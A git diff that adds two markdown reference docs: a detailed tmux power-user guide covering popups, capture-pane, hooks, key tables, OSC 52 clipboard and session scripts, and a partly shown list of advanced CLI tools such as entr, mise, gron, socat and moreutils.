Abandoned, Rough, Growing, Evergreen diff --git a/doc/tmux-mastery.md b/doc/tmux-mastery.md new file mode 100644 index 0000000000000000000000000000000000000000..22f0474d8204ca28f050036e2940512551bec432 --- /dev/null +++ b/doc/tmux-mastery.md @@ -0,0 +1,953 @@ +# tmux Mastery Reference + +Power-user techniques from the tmux manual, mailing lists, and years of terminal living. + +--- + +## Quick-Win Settings (Do These First) + +```tmux +# ~/.tmux.conf + +set -g escape-time 0 # no delay on Escape (critical for Vim/Neovim) +set -g base-index 1 # windows start at 1, not 0 +setw -g pane-base-index 1 # panes start at 1 too +set -g renumber-windows on # close window 2, window 3 becomes 2 automatically +set -g focus-events on # pass focus events to apps (needed by Neovim autoread) +set -g mouse on # scroll, click panes, resize splits +set -g history-limit 50000 # bigger scrollback +set -g display-time 2000 # status messages stay visible 2s +set -g status-keys vi +setw -g mode-keys vi +``` + +Reload without restart: + +```bash +tmux source-file ~/.tmux.conf +``` + +Or bind it: + +```tmux +bind R source-file ~/.tmux.conf \; display "Config reloaded" +``` + +--- + +## Floating Popups (display-popup) + +`display-popup` spawns a floating terminal over the current pane. Available since tmux 3.2. + +### Scratch Terminal Toggle + +```tmux +# Toggle a scratch terminal with prefix-g +bind g display-popup -E -w 80% -h 80% -d "#{pane_current_path}" \ + "tmux new-session -A -s scratch" +``` + +`-A` means attach if session exists, create if not. `-d` inherits the current directory. + +### Lazygit Popup + +```tmux +bind G display-popup -E -w 95% -h 95% -d "#{pane_current_path}" lazygit +``` + +No persistent session needed: lazygit exits when you quit, popup disappears. + +### fzf Session Switcher + +```tmux +bind s display-popup -E -w 60% -h 40% \ + "tmux list-sessions -F '#{session_name}' \ + | fzf --reverse --prompt='session: ' \ + | xargs -r tmux switch-client -t" +``` + +Replaces the default `prefix-s` tree view with a fuzzy picker. + +### htop Popup + +```tmux +bind H display-popup -E -w 90% -h 85% htop +``` + +### Notes on display-popup Flags + +| Flag | Meaning | +|------|---------| +| `-E` | close popup when command exits | +| `-w` | width (pixels or %) | +| `-h` | height (pixels or %) | +| `-x` | x position (default: center) | +| `-y` | y position (default: center) | +| `-d` | working directory | +| `-e` | set environment variable | +| `-T` | popup border title | + +Close a popup from inside: `Ctrl-c` or just exit the shell. + +--- + +## capture-pane + +`capture-pane` dumps pane content to a buffer. It captures what is visible, or the full scrollback with `-S`. + +### Extract Scrollback to File + +```bash +tmux capture-pane -p -S -50000 > ~/scrollback.txt +``` + +`-p` prints to stdout. `-S -50000` goes 50000 lines back (negative = from start of history). + +### Capture Specific Pane + +```bash +tmux capture-pane -p -t %3 # by pane id +tmux capture-pane -p -t 2.1 # window 2, pane 1 +``` + +### Pipe Scrollback Through fzf to Open URLs + +```bash +# Pull URLs from scrollback, pick one, open it +tmux capture-pane -p -S -5000 \ + | grep -oE 'https?://[^ ]+' \ + | sort -u \ + | fzf --reverse \ + | xargs -r xdg-open +``` + +Bind it: + +```tmux +bind u run-shell \ + "tmux capture-pane -p -S -5000 \ + | grep -oE 'https?://[^ ]+' \ + | sort -u \ + | fzf-tmux -p 80%,40% --reverse \ + | xargs -r xdg-open" +``` + +### Capture Without ANSI Escape Codes + +```bash +tmux capture-pane -p -e > with-colors.txt # -e includes escape sequences +tmux capture-pane -p > plain.txt # default strips them +``` + +To strip ANSI from captured output after the fact: + +```bash +sed 's/\x1b\[[0-9;]*m//g' with-colors.txt +``` + +--- + +## pipe-pane + +`pipe-pane` redirects a pane's output to a shell command. It stays running until toggled off. + +### Toggle-able Logging + +```bash +# Start logging +tmux pipe-pane -o 'cat >> ~/logs/tmux-pane-%Y%m%d.log' + +# Stop logging (run same command again when -o is set) +tmux pipe-pane +``` + +`-o` means "toggle": if already piping, stop; if not, start. + +Bind it: + +```tmux +bind P pipe-pane -o 'cat >> ~/logs/pane-#S-#W-#P-$(date +%F).log' \; \ + display "Logging toggled" +``` + +`#S` = session name, `#W` = window name, `#P` = pane index. + +### Filter Errors Only + +```bash +tmux pipe-pane 'grep --line-buffered -iE "error|warn|fatal" >> ~/logs/errors.log' +``` + +`--line-buffered` is critical: without it grep buffers output and you see nothing. + +### Strip ANSI and Log + +```bash +tmux pipe-pane "sed -u 's/\x1b\[[0-9;]*m//g' >> ~/logs/clean-$(date +%F).log" +``` + +`-u` (unbuffered) on sed keeps output flowing in real time. + +### Pipe to System Logger + +```bash +tmux pipe-pane 'logger -t tmux-pane' +``` + +All pane output lands in syslog under the tag `tmux-pane`. + +--- + +## Custom Key Tables + +tmux has three built-in tables: `root` (no prefix), `prefix` (after pressing prefix), and `copy-mode-vi`. You can create your own named tables for modal interaction. + +### Modal Resize Mode + +```tmux +# Enter resize mode with prefix-r, then use arrow keys to resize +bind r switch-client -T resize + +bind -T resize Left resize-pane -L 5 +bind -T resize Right resize-pane -R 5 +bind -T resize Up resize-pane -U 5 +bind -T resize Down resize-pane -D 5 + +# Stay in resize mode after each keypress until you press Enter or Escape +bind -T resize Enter switch-client -T prefix +bind -T resize Escape switch-client -T prefix +``` + +Without repeating back to `prefix` you stay stuck. Add this to exit cleanly. + +### Layout Mode + +```tmux +bind L switch-client -T layout + +bind -T layout e select-layout even-horizontal +bind -T layout E select-layout even-vertical +bind -T layout m select-layout main-horizontal +bind -T layout M select-layout main-vertical +bind -T layout t select-layout tiled +bind -T layout Escape switch-client -T prefix +``` + +### Root Table Bindings (No Prefix) + +Use sparingly -- root bindings fire on every keystroke without a prefix. + +```tmux +# Alt+h/j/k/l to navigate panes without prefix +bind -n M-h select-pane -L +bind -n M-j select-pane -D +bind -n M-k select-pane -U +bind -n M-l select-pane -R + +# Alt+n / Alt+p for next/prev window +bind -n M-n next-window +bind -n M-p previous-window +``` + +`-n` is shorthand for `-T root`. + +### Checking Key Tables + +```bash +tmux list-keys -T resize +tmux list-keys -T root | grep -v '^bind -n Mouse' +``` + +--- + +## Hooks + +Hooks run tmux commands automatically on events. Set with `set-hook` (session scope) or `set-hook -g` (global). + +### after-select-pane + +Fires after you switch to a pane. Useful for updating status or running per-pane commands. + +```tmux +set-hook -g after-select-pane "run-shell 'echo #{pane_current_command} > /tmp/tmux-active-cmd'" +``` + +### pane-focus-in / pane-focus-out + +Requires `focus-events on`. These fire when a pane gains or loses focus. + +```tmux +# Dim inactive panes via pane border style +set-hook -g pane-focus-in "set -g pane-active-border-style fg=colour208" +set-hook -g pane-focus-out "set -g pane-border-style fg=colour240" +``` + +A more dramatic version changes the pane background: + +```tmux +set-hook -g pane-focus-out "select-pane -P bg=colour235" +set-hook -g pane-focus-in "select-pane -P bg=default" +``` + +### session-created + +Runs once when a new session starts. Use it to bootstrap an environment. + +```tmux +set-hook -g session-created "run-shell '~/.local/bin/tmux-session-init.sh #{session_name}'" +``` + +```bash +# ~/.local/bin/tmux-session-init.sh +#!/bin/sh +SESSION="$1" +case "$SESSION" in + dev) tmux send-keys -t "$SESSION" 'nvim' Enter ;; + logs) tmux send-keys -t "$SESSION" 'journalctl -f' Enter ;; +esac +``` + +### after-split-window + +Fires after every split. Use it to ensure new panes inherit the current directory. + +```tmux +set-hook -g after-split-window "run-shell 'tmux send-keys -t #{pane_id} \"cd #{pane_current_path}\" Enter'" +``` + +Or simpler: tmux already respects `-c "#{pane_current_path}"` if you bind your splits that way: + +```tmux +bind '"' split-window -c "#{pane_current_path}" +bind % split-window -h -c "#{pane_current_path}" +``` + +### Listing Active Hooks + +```bash +tmux show-hooks -g +tmux show-hooks # session-local hooks +``` + +--- + +## send-keys + +`send-keys` types text into any pane as if you typed it. This is how you automate tmux from scripts. + +### Basic Usage + +```bash +tmux send-keys -t mysession:1.1 "ls -la" Enter +tmux send-keys -t mysession:2 "htop" Enter # targets pane 1 of window 2 +tmux send-keys -t %3 "cd /tmp" Enter # targets pane by id +``` + +### Automation Across All Panes in a Window + +```bash +# Run a command in every pane of window 2 +tmux list-panes -t mysession:2 -F "#{pane_id}" | while read pane; do + tmux send-keys -t "$pane" "git pull" Enter +done +``` + +### Synchronized Panes + +Turn on sync and every keystroke goes to all panes simultaneously: + +```tmux +bind S setw synchronize-panes \; \ + display "Sync: #{?pane_synchronized,ON,OFF}" +``` + +From the command line: + +```bash +tmux setw synchronize-panes on +# ... type in any pane, all panes receive it ... +tmux setw synchronize-panes off +``` + +Use case: deploy the same command across 8 servers each in its own pane. + +### Sending Special Keys + +```bash +tmux send-keys -t %1 "q" # literal q +tmux send-keys -t %1 "C-c" # Ctrl-c +tmux send-keys -t %1 "C-l" # clear screen +tmux send-keys -t %1 "Escape" +tmux send-keys -t %1 "" # BEL +``` + +Named keys: `Enter`, `Escape`, `Tab`, `BSpace`, `Up`, `Down`, `Left`, `Right`, `F1`-`F12`, `C-a` through `C-z`. + +### send-keys Without Running (No Enter) + +```bash +tmux send-keys -t %2 "git commit -m 'fix'" +# leaves the text in the prompt, user hits Enter manually +``` + +--- + +## command-prompt + +`command-prompt` opens an interactive prompt inside tmux for scripted user input. + +### Prompted Session Creation + +```tmux +bind N command-prompt -p "New session name:" "new-session -s '%%'" +``` + +`%%` is the placeholder for what the user types. + +### Prompted Window Rename + +```tmux +bind , command-prompt -I "#{window_name}" -p "Rename window:" "rename-window '%%'" +``` + +`-I` pre-fills the prompt with the current window name. + +### join-pane Prompt + +```tmux +bind j command-prompt -p "Join pane from (window.pane):" "join-pane -s '%%'" +``` + +Lets you interactively pull any pane into the current window. + +### move-window Prompt + +```tmux +bind m command-prompt -p "Move window to session:" "move-window -t '%%'" +``` + +### Multi-field Prompts + +```tmux +bind C command-prompt -p "Session name:","Window name:" \ + "new-session -s '%1' -n '%2'" +``` + +`%1`, `%2` map to the first and second answers. + +--- + +## Pure Shell Session Scripts (No tmuxinator) + +tmuxinator is not needed. A 20-line shell script does the same thing with no Ruby dependency and no YAML. + +### dev.sh -- Full Dev Environment + +```bash +#!/bin/sh +# ~/.local/bin/dev-session.sh +# Usage: dev-session.sh [project-dir] + +DIR="${1:-$HOME/dev/myproject}" +SESSION="dev" + +tmux has-session -t "$SESSION" 2>/dev/null && tmux attach -t "$SESSION" && exit + +tmux new-session -d -s "$SESSION" -c "$DIR" -x 220 -y 50 + +# Window 1: editor +tmux rename-window -t "$SESSION:1" "editor" +tmux send-keys -t "$SESSION:1" "nvim ." Enter + +# Window 2: two-pane terminal +tmux new-window -t "$SESSION:2" -n "shell" -c "$DIR" +tmux split-window -t "$SESSION:2" -h -c "$DIR" + +# Window 3: server +tmux new-window -t "$SESSION:3" -n "server" -c "$DIR" +tmux send-keys -t "$SESSION:3" "npm run dev" Enter + +# Window 4: git +tmux new-window -t "$SESSION:4" -n "git" -c "$DIR" +tmux send-keys -t "$SESSION:4" "lazygit" Enter + +tmux select-window -t "$SESSION:1" +tmux attach -t "$SESSION" +``` + +### Minimal Version for Any Project + +```bash +#!/bin/sh +# Usage: t [name] [dir] +NAME="${1:-work}" +DIR="${2:-$(pwd)}" +tmux has-session -t "$NAME" 2>/dev/null \ + && tmux attach -t "$NAME" \ + || tmux new-session -A -s "$NAME" -c "$DIR" +``` + +Save as `~/bin/t`, `chmod +x`. Type `t` anywhere to attach or create. + +### Tear Down a Session Script + +```bash +#!/bin/sh +# Kill all windows but confirm first +SESSION="${1:-dev}" +echo "Kill session '$SESSION'? [y/N]" +read -r ans +[ "$ans" = "y" ] && tmux kill-session -t "$SESSION" +``` + +--- + +## if-shell + +`if-shell` runs a tmux command if a shell command exits 0, optionally with an else branch. + +### macOS vs Linux + +```tmux +if-shell "uname | grep -q Darwin" { + bind C-v run "pbpaste | tmux load-buffer - && tmux paste-buffer" + bind C-c run "tmux save-buffer - | pbcopy" +} { + bind C-v run "xclip -o | tmux load-buffer - && tmux paste-buffer" + bind C-c run "tmux save-buffer - | xclip -i" +} +``` + +### SSH Detection + +```tmux +# If inside SSH, change status bar color to signal remote context +if-shell '[ -n "$SSH_CLIENT" ]' { + set -g status-bg colour52 + set -g status-fg colour255 +} +``` + +### Nested tmux Detection + +```tmux +# If running inside another tmux, use a different prefix +if-shell '[ -n "$TMUX" ]' { + set -g prefix C-a +} { + set -g prefix C-b +} +``` + +This lets you nest sessions: outer uses `C-b`, inner uses `C-a`. + +### Load Local Overrides + +```tmux +# At the end of ~/.tmux.conf +if-shell "[ -f ~/.tmux.local.conf ]" "source ~/.tmux.local.conf" +``` + +Machine-specific overrides go in `~/.tmux.local.conf`, never in the main config. + +### Check tmux Version + +```tmux +# display-popup requires tmux >= 3.2 +if-shell "tmux -V | awk '{exit ($2 < 3.2)}'" { + bind g display-popup -E -w 80% -h 80% zsh +} +``` + +--- + +## OSC 52 Clipboard (Remote Copy Through SSH+tmux) + +OSC 52 is a terminal escape sequence that instructs the local terminal emulator to set the clipboard. It works through SSH and through tmux, allowing remote processes to write to your local clipboard with no X11 forwarding. + +### Requirements + +- Local terminal must support OSC 52: Alacritty, kitty, WezTerm, iTerm2, xterm (with `allowWindowOps`). +- tmux must be told to pass the sequence through. + +### tmux.conf Settings + +```tmux +set -g set-clipboard on # tmux handles OSC 52 itself (tmux >= 3.2) +set -as terminal-features ",xterm-256color:clipboard" +``` + +If tmux is older or set-clipboard causes issues, use pass-through: + +```tmux +set -g set-clipboard off +set -as terminal-overrides ',*:Ms=\E]52;c;%p2%s\007' +``` + +### Copy Script (Portable) + +```bash +#!/bin/sh +# ~/.local/bin/osc52copy +# Reads from stdin, sends OSC 52 sequence +buf=$(cat) +encoded=$(printf '%s' "$buf" | base64 | tr -d '\n') +printf '\033]52;c;%s\a' "$encoded" +``` + +Usage on a remote machine over SSH: + +```bash +cat file.txt | osc52copy +echo "some text" | osc52copy +``` + +### tmux + OSC 52 Integration + +With `set-clipboard on`, tmux intercepts the OSC 52 sequence and routes it to the local terminal. This means `y` in copy-mode-vi can copy to your local clipboard automatically: + +```tmux +set -g set-clipboard on +bind -T copy-mode-vi y send -X copy-selection-and-cancel +``` + +No xclip/xsel/pbcopy needed on the remote end. + +### Verifying It Works + +```bash +echo "test" | base64 | xargs -I{} printf '\033]52;c;{}\a' +``` + +Open your local clipboard manager -- "test" should appear. + +--- + +## abduco + dvtm (Plan 9 Philosophy Alternative) + +tmux is monolithic. The Plan 9 philosophy: one tool, one job. `abduco` handles session detach/attach. `dvtm` handles the multiplexer. They compose. + +### Install + +```bash +# Arch +pacman -S abduco dvtm + +# Build from source (suckless.org) +git clone https://git.suckless.org/abduco +git clone https://git.suckless.org/dvtm +``` + +### Basic Usage + +```bash +# Create a named session running dvtm +abduco -c mysession dvtm + +# Detach: Ctrl-\ +# Reattach +abduco -a mysession + +# List sessions +abduco +``` + +### dvtm Keybindings (Mod = Ctrl-g by default) + +| Key | Action | +|-----|--------| +| `Mod-c` | create new window | +| `Mod-x` | close window | +| `Mod-j/k` | focus next/prev | +| `Mod-Space` | cycle layouts | +| `Mod-f` | fullscreen toggle | +| `Mod-[1-9]` | switch to window n | + +### Why Use abduco+dvtm + +- dvtm follows suckless design: no config file, patch-based customization +- abduco has a 200-line codebase; you can audit it in an afternoon +- Separate concerns: swap dvtm for any other program (e.g., `abduco -c foo bash`) +- Works in extremely constrained environments where tmux is unavailable + +### dvtm Layout Modes + +| Layout | Description | +|--------|-------------| +| `tiled` | all panes tiled | +| `bstack` | one large pane, rest stacked at bottom | +| `grid` | equal grid | +| `fullscreen` | one pane, full | +| `vertical` | two columns | + +--- + +## GNU screen Serial Console Trick + +screen predates tmux by 15 years and has one feature tmux lacks: direct serial port access. + +### Connect to a Serial Device + +```bash +screen /dev/ttyUSB0 115200 +screen /dev/ttyS0 9600 +screen /dev/ttyACM0 115200 # Arduino, etc. +``` + +First argument is the device, second is baud rate. No additional software needed. + +### Common Baud Rates + +| Device Type | Baud Rate | +|-------------|-----------| +| Arduino | 9600 or 115200 | +| Raspberry Pi UART | 115200 | +| Cisco console | 9600 | +| Network switches (varies) | 9600 or 115200 | +| Embedded Linux | 115200 | + +### screen Commands in Serial Session + +| Key | Action | +|-----|--------| +| `Ctrl-a k` | kill session (disconnect) | +| `Ctrl-a d` | detach (session keeps running) | +| `Ctrl-a H` | toggle logging to `screenlog.0` | +| `Ctrl-a [` | enter copy/scroll mode | +| `Ctrl-a :` | command prompt | + +### Log the Entire Session + +```bash +screen -L /dev/ttyUSB0 115200 +# creates screenlog.0 in current directory +``` + +Or toggle mid-session: `Ctrl-a H`. + +### Permissions + +If you get "Permission denied" on the device: + +```bash +sudo usermod -aG dialout $USER # Debian/Ubuntu +sudo usermod -aG uucp $USER # Arch +# log out and back in, or: +sudo chmod a+rw /dev/ttyUSB0 # temporary +``` + +### Why Not tmux for Serial + +tmux has no serial device support. screen is the standard tool for this. Keep both installed. + +--- + +## capture-pane Advanced: Structured Extraction + +### Count Lines Matching a Pattern in Scrollback + +```bash +tmux capture-pane -p -S -10000 | grep -c "ERROR" +``` + +### Watch for a String in Any Pane + +```bash +# Poll until "READY" appears in pane %3 +while ! tmux capture-pane -p -t %3 | grep -q "READY"; do + sleep 0.5 +done +echo "Pane is ready" +``` + +Useful in CI scripts or shell scripts that drive a long-running process in another pane. + +### Diff Two Pane States + +```bash +tmux capture-pane -p -t %1 > /tmp/pane1-before.txt +# ... wait ... +tmux capture-pane -p -t %1 > /tmp/pane1-after.txt +diff /tmp/pane1-before.txt /tmp/pane1-after.txt +``` + +--- + +## Formats and Variables + +tmux exposes state through format strings. Use them in config, bindings, and scripts. + +```bash +tmux display-message -p "#{session_name}" +tmux display-message -p "#{pane_current_path}" +tmux display-message -p "#{pane_current_command}" +tmux display-message -p "#{window_index} #{window_name}" +``` + +Useful variables: + +| Variable | Value | +|----------|-------| +| `#{session_name}` | current session name | +| `#{window_index}` | current window number | +| `#{pane_id}` | pane unique id (e.g. %3) | +| `#{pane_current_path}` | cwd of pane | +| `#{pane_current_command}` | foreground process | +| `#{pane_width}` / `#{pane_height}` | dimensions | +| `#{client_termname}` | terminal type | +| `#{host}` | hostname | +| `#{cursor_x}` / `#{cursor_y}` | cursor position | + +Conditionals in formats: + +```tmux +# Show "SSH" in status if inside an SSH session +set -g status-right "#{?SSH_CLIENT,SSH,local} | %H:%M" +``` + +--- + +## Practical Workflow: Multi-Server Deployment + +```bash +#!/bin/sh +# deploy-all.sh -- run a command across multiple servers in parallel panes + +SERVERS="web1 web2 web3 db1" +CMD="sudo systemctl restart app" +SESSION="deploy-$(date +%s)" + +tmux new-session -d -s "$SESSION" -n "servers" + +first=1 +for host in $SERVERS; do + if [ "$first" = "1" ]; then + tmux send-keys -t "$SESSION:1" "ssh $host '$CMD'" Enter + first=0 + else + tmux split-window -t "$SESSION:1" -h "ssh $host '$CMD'" + tmux select-layout -t "$SESSION:1" tiled + fi +done + +tmux setw -t "$SESSION:1" synchronize-panes on +tmux attach -t "$SESSION" +``` + +All servers run the command simultaneously. You watch all output at once. + +--- + +## Ergonomics + +### Smarter Splits + +```tmux +# Always split relative to current directory +bind '"' split-window -v -c "#{pane_current_path}" +bind % split-window -h -c "#{pane_current_path}" +bind c new-window -c "#{pane_current_path}" +``` + +### Swap Windows + +```tmux +bind -r < swap-window -d -t -1 +bind -r > swap-window -d -t +1 +``` + +`-r` makes the binding repeatable: hold prefix and tap `<` multiple times to move a window left. + +### Break Pane to New Window + +```tmux +bind b break-pane -d +``` + +Pulls the current pane out into its own window without switching to it (`-d`). + +### Jump to Last Window + +```tmux +bind Tab last-window +``` + +### Zoom Toggle + +`prefix-z` is built in. Add a visual indicator to status: + +```tmux +set -g window-status-current-format "#{?window_zoomed_flag,[Z] ,}#I:#W" +``` + +--- + +## Nested Sessions + +When SSH-ing into a remote machine that has tmux, you end up with two tmux layers. Handle cleanly: + +```tmux +# Outer tmux: prefix is C-b +# Inner tmux: prefix is C-a (set via if-shell or hardcoded) + +# To send prefix to inner tmux: press outer prefix twice +# e.g., press C-b C-b to send C-b to the remote session + +# Or bind a passthrough key +bind -n C-o send-prefix # outer: C-o passes next key to inner +``` + +The common pattern: outer machine uses `C-b`, remote (SSH) sessions use `C-a`. Different prefixes eliminate ambiguity. + +--- + +## Tmux + fzf Integration Points + +| Task | Command | +|------|---------| +| Switch session | `tmux ls -F '#S' \| fzf \| xargs tmux switch-client -t` | +| Kill session | `tmux ls -F '#S' \| fzf \| xargs tmux kill-session -t` | +| Switch window | `tmux list-windows -F '#I #W' \| fzf \| awk '{print $1}' \| xargs tmux select-window -t` | +| Select pane | `tmux list-panes -a -F '#S:#I.#P #{pane_current_command}' \| fzf \| cut -d' ' -f1 \| xargs tmux switch-client -t` | +| Open recent dir | `tmux capture-pane -p -S -3000 \| grep -oE '/[^ ]+' \| sort -u \| fzf \| xargs tmux send-keys -t $TMUX_PANE " cd " Enter` | + +--- + +## Status Bar One-Liners + +```tmux +# Left: session name in bold +set -g status-left "#[bold]#S#[default] " + +# Right: date, time, hostname +set -g status-right "%Y-%m-%d %H:%M #H" + +# Show CPU load (requires external command) +set -g status-right "#(uptime | awk -F'load average:' '{print $2}' | awk '{print $1}') | %H:%M" + +# Window list: show activity flag +set -g window-status-activity-style "fg=colour208,bold" +setw -g monitor-activity on +set -g visual-activity off # no message, just style change +``` + +--- + +## Clipboard Integration Summary + +| Platform | Tool | tmux command | +|----------|------|-------------| +| Linux (X11) | xclip | `run "tmux save-buffer - \| xclip -i -selection clipboard"` | +| Linux (Wayland) | wl-copy | `run "tmux save-buffer - \| wl-copy"` | +| macOS | pbcopy | `run "tmux save-buffer - \| pbcopy"` | +| SSH remote | OSC 52 | `set -g set-clipboard on` | + +Bind copy in copy-mode-vi to use the right tool: + +```tmux +if-shell "uname | grep -q Darwin" { + bind -T copy-mode-vi y send -X copy-pipe-and-cancel "pbcopy" +} { + bind -T copy-mode-vi y send -X copy-pipe-and-cancel "xclip -i -selection clipboard" +} +``` diff --git a/doc/tools-advanced.md b/doc/tools-advanced.md new file mode 100644 index 0000000000000000000000000000000000000000..33dedff3bfd539127ab4e3452721788f95886cee --- /dev/null +++ b/doc/tools-advanced.md @@ -0,0 +1,199 @@ +# CLI Tools -- advanced and obscure + +These tools are not in `tools.md`. Each one covers a blind spot that standard tooling handles badly. If you have the basics down, these are the next tier. + +--- + +## File Watching + +### entr +**What it does:** Runs a command whenever watched files change. +**Killer use case:** `ls *.go | entr -cr go run .` -- restarts your server on every save. `-c` clears the screen, `-r` kills and restarts the process. +**Install:** `pacman -S entr` + +### watchexec +**What it does:** Language-agnostic file watcher with gitignore support and sane defaults. +**Killer use case:** `watchexec -e rs cargo test` -- reruns tests on any `.rs` change, without listing files manually. +**Install:** `pacman -S watchexec` + +--- + +## Environment and Version Management + +### direnv +**What it does:** Loads and unloads `.envrc` files automatically when you enter or leave a directory. +**Killer use case:** Store `export DATABASE_URL=...` in `.envrc`; it activates on `cd` and disappears when you leave. No more forgotten env vars polluting other projects. +**Install:** `pacman -S direnv` +**Note:** Already listed in `tools.md` under Navigation but omitted from the install line. Details added here. + +### mise +**What it does:** Universal version manager (the actively maintained asdf successor). Handles Node, Python, Ruby, Go, Rust toolchains, and 500+ more. +**Killer use case:** `mise use node@22 python@3.12` in a project root writes a `.mise.toml` that any teammate with mise will honor automatically. +**Install:** `pacman -S mise` + +--- + +## Navigation and History + +### zoxide +**What it does:** Frecency-based `cd` -- tracks which directories you visit and weights by frequency and recency. +**Killer use case:** `z proj` jumps to `~/dev/some-deep/project/path` without typing the full path. Already in `tools.md`; included here for the workflow detail. +**Install:** `pacman -S zoxide` + +### atuin +**What it does:** Replaces shell history with a SQLite database; adds fuzzy search, timestamps, exit codes, and optional cross-machine sync. +**Killer use case:** `atuin search --exit 1` -- find every command that ever failed. Already in `tools.md`; included here for the exit-code filter detail. +**Install:** `pacman -S atuin` + +### navi +**What it does:** Interactive cheatsheet browser. You write `.cheat` files in a simple syntax and navi gives you a fuzzy-searchable menu that fills in placeholders. +**Killer use case:** Store your `ffmpeg` and `openssl` incantations as cheat entries. `navi` surfaces them and drops the filled command into your prompt. +**Install:** `pacman -S navi` + +--- + +## JSON / YAML / Structured Data + +### gron +**What it does:** Flattens JSON into `grep`-able assignments (`path.to.key = "value"`), then reverses the process. +**Killer use case:** `gron api.json | grep '"error"' | gron --ungron` -- find and extract any nested key without knowing the schema. +**Install:** `pacman -S gron` + +### dasel +**What it does:** Single binary that queries and mutates JSON, YAML, TOML, XML, and CSV with one unified selector syntax. +**Killer use case:** `dasel -f config.yaml 'server.port'` works the same whether the file is YAML or TOML. Stop context-switching between jq/yq/tomlq. +**Install:** `pacman -S dasel` + +### yq +**What it does:** `jq` for YAML (and JSON, TOML, XML, CSV). +**Killer use case:** `yq '.services.web.image' docker-compose.yml` -- read a Compose file without writing a Python script. +**Install:** `pacman -S yq` + +### miller (mlr) +**What it does:** `awk`/`sed`/`cut`/`join`/`sort` for CSV, TSV, JSON, and other structured formats in a single tool. +**Killer use case:** `mlr --csv sort -f name then filter '$age > 30' data.csv` -- SQL-style operations on flat files without spinning up a database. +**Install:** `pacman -S miller` + +### pup +**What it does:** `jq` for HTML. Parses HTML and lets you select elements with CSS selectors. +**Killer use case:** `curl -s https://example.com | pup 'a[href] attr{href}'` -- extract all links from a page without BeautifulSoup. +**Install:** `pacman -S pup` + +### htmlq +**What it does:** Like `pup` but closer to the `jq` interface. More actively maintained. +**Killer use case:** `curl -s https://news.ycombinator.com | htmlq '.storylink'` -- scrape headlines from any site. +**Install:** `pacman -S htmlq` + +### xsv / qsv +**What it does:** Fast CSV toolkit. `xsv` is the original; `qsv` is the maintained fork with more commands. +**Killer use case:** `xsv stats data.csv` prints min/max/mean/stddev for every column instantly on a million-row file where Excel would crash. +**Install:** `pacman -S xsv` (or build qsv from AUR) + +--- + +## Diffing and Patching + +### difftastic +**What it does:** Syntax-aware structural diff. Understands the grammar of 30+ languages and ignores formatting-only changes. +**Killer use case:** Rename a variable across a file. Regular diff shows every line changed; difftastic shows only the semantic change. +**Install:** `pacman -S difftastic` +**Wire it into git:** `git config diff.external difft` + +--- + +## Text Manipulation + +### sad +**What it does:** Batch find-and-replace across files with a live preview before writing. +**Killer use case:** `sad 'OldName' 'NewName' -- **/*.go` shows a side-by-side diff of every planned change; you confirm before it touches disk. +**Install:** `yay -S sad` (AUR) + +### sd +**What it does:** Simpler `sed`. Uses regex by default, supports literal strings without escaping, reads from file or stdin. +**Killer use case:** `sd 'foo(\w+)' 'bar$1' file.txt` -- no doubled backslashes, no cryptic flags. +**Install:** `pacman -S sd` + +### choose +**What it does:** Simpler `cut` and `awk` field selector. Zero-indexed, supports negative indices, handles any whitespace delimiter. +**Killer use case:** `ps aux | choose 10` -- grab the last column. `choose 0 2` for first and third. +**Install:** `pacman -S choose` + +--- + +## Networking + +### bandwhich +**What it does:** Shows real-time network bandwidth broken down by process and remote host. +**Killer use case:** Run it during a slow deploy to see which process is saturating the link and where the traffic is going. +**Install:** `pacman -S bandwhich` + +### doggo +**What it does:** Modern `dig` replacement. Human-readable output, supports DoH and DoT, colored tables. +**Killer use case:** `doggo krisyotam.com MX @1.1.1.1` -- readable DNS debug without decoding dig's wire-format output. +**Install:** `pacman -S doggo` + +### socat +**What it does:** Bidirectional data relay between almost any two endpoints (TCP, UDP, Unix sockets, files, serial ports, TLS). +**Killer use case:** `socat TCP-LISTEN:8080,fork TCP:localhost:3000` -- forward a port without iptables. Also useful for poking Unix sockets directly. +**Install:** `pacman -S socat` + +--- + +## Pipes and Process Control + +### pv +**What it does:** Monitors data passing through a pipe and shows throughput, elapsed time, ETA, and a progress bar. +**Killer use case:** `cat huge.sql | pv | mysql mydb` -- finally know how far along that import is. +**Install:** `pacman -S pv` + +### task-spooler (tsp) +**What it does:** A command queue. Submit jobs; they run one at a time (or N at a time). Jobs persist even if you close the terminal. +**Killer use case:** Queue five long `ffmpeg` encodes with `tsp ffmpeg ...` each. They run sequentially; `tsp -l` shows the queue. +**Install:** `pacman -S task-spooler` + +### rlwrap +**What it does:** Wraps any program's stdin with readline editing, history, and tab completion. +**Killer use case:** `rlwrap sqlite3 mydb` gives you arrow-key history in sqlite3 without patching sqlite3 itself. Works on any REPL that lacks readline. +**Install:** `pacman -S rlwrap` + +### expect +**What it does:** Scripted automation for interactive programs. Watches for patterns in output and sends input in response. +**Killer use case:** Automate an SSH login to a device that requires password auth and then runs a fixed sequence of commands. Where shell scripts give up, expect continues. +**Install:** `pacman -S expect` + +--- + +## moreutils + +A collection of small Unix tools that fill gaps in coreutils. Install the whole package: `pacman -S moreutils` + +| Tool | What it does | Killer use case | +|------|-------------|-----------------| +| `sponge` | Soaks up stdin, then writes to file | `grep -v bad file | sponge file` -- edit a file in-place without a temp file | +| `ts` | Prepends timestamps to each line of stdin | `tail -f app.log | ts '[%Y-%m-%d %H:%M:%S]'` -- timestamped live logs | +| `chronic` | Runs a command silently, but shows output if it fails | `chronic rsync -av src/ dst/` -- cron jobs that email only on failure | +| `vipe` | Inserts your editor into a pipeline | `curl api | vipe | jq .` -- edit the JSON before passing it downstream | +| `vidir` | Opens a directory listing in your editor for batch rename/delete | `vidir ~/downloads` -- rename 40 files as text editing | +| `ifne` | Runs a command only if stdin is non-empty | `find . -name '*.tmp' | ifne mail -s "Stale files" me@me.com` | +| `pee` | Sends stdin to multiple commands (tee for pipelines) | `pee 'wc -l' 'grep error' < log.txt` | +| `combine` | Combines two files line-by-line with a set operation | `combine list-a.txt and list-b.txt` -- intersection without awk | +| `errno` | Looks up errno values by name or number | `errno ENOENT` -- readable error reference without man pages | + +--- + +## If you install nothing else from this list + +These ten cover the highest-leverage gaps: + +1. **entr** -- live reload during development +2. **mise** -- one tool for all language version pinning +3. **difftastic** -- structural diff that actually shows what changed +4. **miller** -- SQL-like queries on CSV/TSV/JSON without a database +5. **gron** -- make any JSON greppable in one command +6. **sd** -- sed that you can actually remember the syntax for +7. **pv** -- progress bars in pipes, invaluable for long data operations +8. **socat** 